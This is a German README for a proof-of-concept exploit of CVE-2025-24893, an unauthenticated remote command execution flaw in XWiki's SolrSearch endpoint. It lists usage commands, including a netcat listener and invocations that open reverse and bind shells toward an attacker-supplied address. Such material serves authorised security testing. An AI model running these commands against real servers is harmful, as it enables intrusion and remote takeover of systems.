Proof of Concept für CVE-2025-24893, das eine nicht authentifizierte Remote-Befehlsausführung in XWiki durch unsichere serverseitige Template-Auswertung demonstriert.
Dieses Repository enthält einen kontrollierten Proof of Concept (PoC) für CVE-2025-24893, eine nicht authentifizierte Remote-Befehlsausführung (RCE)-Schwachstelle, die XWiki betrifft.
Die Schwachstelle ermöglicht es einem Angreifer, aufgrund unsicherer serverseitiger Template- und Skriptauswertung beliebige Betriebssystembefehle auf dem Server auszuführen.
XWiki ist eine Open-Source-Enterprise-Wiki-Plattform, die häufig verwendet wird für:
Da XWiki häufig auf internetfähigen Servern eingesetzt wird, können Sicherheitslücken in der Anfrageverarbeitung und Skriptlogik eine hohe reale Auswirkung haben.
Benutzergesteuerte Eingaben, die an den SolrSearch-Endpunkt übergeben wurden, wurden von der Groovy-Scripting-Engine unsachgemäß validiert und ausgewertet.
Dies ermöglichte es, dass vom Angreifer bereitgestellte Eingaben als ausführbarer serverseitiger Code interpretiert wurden, was zur Befehlsausführung auf dem Hostsystem führte.
Dieser PoC demonstriert Folgendes:
Erkennungsmodus für Schwachstellen Bestätigt sicher, ob die Zielinstanz verwundbar ist, indem ein harmloser serverseitiger Ausdruck ausgeführt wird.
Remote-Befehlsausführung Demonstriert die beliebige Befehlsausführung auf dem Zielsystem.
Reverse-Shell-Ausführung Stellt eine ausgehende Shell-Verbindung vom Ziel zum Tester her.
Bind-Shell (optional) Öffnet eine lauschende Shell auf dem Zielhost (weniger zuverlässig als Reverse-Shells).
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
SolrSearch-Endpunkt gesendetDieses Projekt wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Jede unbefugte Nutzung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung ist untersagt.
Dieses Repository wurde erstellt, um Folgendes zu demonstrieren: